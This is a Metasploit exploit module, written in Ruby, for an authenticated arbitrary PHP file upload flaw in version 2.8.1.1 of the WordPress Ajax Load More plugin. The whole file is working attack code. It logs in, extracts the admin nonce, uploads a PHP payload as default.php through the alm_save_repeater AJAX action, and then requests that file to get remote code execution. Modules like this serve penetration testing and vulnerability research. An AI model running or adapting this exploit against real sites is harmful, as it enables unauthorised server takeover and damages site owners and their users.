##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress Ajax Load More PHP Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary file upload in the WordPress Ajax Load More
version 2.8.1.1. It allows to upload arbitrary php files and get remote code
execution. This module has been tested successfully on WordPress Ajax Load More
2.8.0 with Wordpress 4.1.3 on Ubuntu 12.04/14.04 Server.
},
'Author' =>
[
'Unknown', # Identify yourself || send an PR here
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '8209']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Ajax Load More 2.8.1.1', {}]],
'DisclosureDate' => 'Oct 10 2015',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('WP_USERNAME', [true, 'A valid username', nil]),
OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
], self.class
)
end
def check
check_plugin_version_from_readme('ajax-load-more', '2.8.1.2')
end
def username
datastore['WP_USERNAME']
end
def password
datastore['WP_PASSWORD']
end
def get_nonce(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
'vars_get' => {
'page' => 'ajax-load-more-repeaters'
},
'cookie' => cookie
)
if res && res.body && res.body =~ /php","alm_admin_nonce":"([a-z0-9]+)"}/
return Regexp.last_match[1]
else
return nil
end
end
def exploit
vprint_status("#{peer} - Trying to login as #{username}")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, "#{peer} - Unable to login as: #{username}") if cookie.nil?
vprint_status("#{peer} - Trying to get nonce")
nonce = get_nonce(cookie)
fail_with(Failure::Unknown, "#{peer} - Unable to get nonce") if nonce.nil?
vprint_status("#{peer} - Trying to upload payload")
# This must be default.php
filename = 'default.php'
print_status("#{peer} - Uploading payload")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
'vars_post' => {
'action' => 'alm_save_repeater',
'value' => payload.encoded,
'repeater' => 'default',
'type' => 'default',
'alias' => '',
'nonce' => nonce
},
'cookie' => cookie
)
if res
if res.code == 200 && res.body.include?('Template Saved Successfully')
register_files_for_cleanup(filename)
else
fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")
end
else
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
print_status("#{peer} - Calling uploaded file")
send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename)
)
end
end
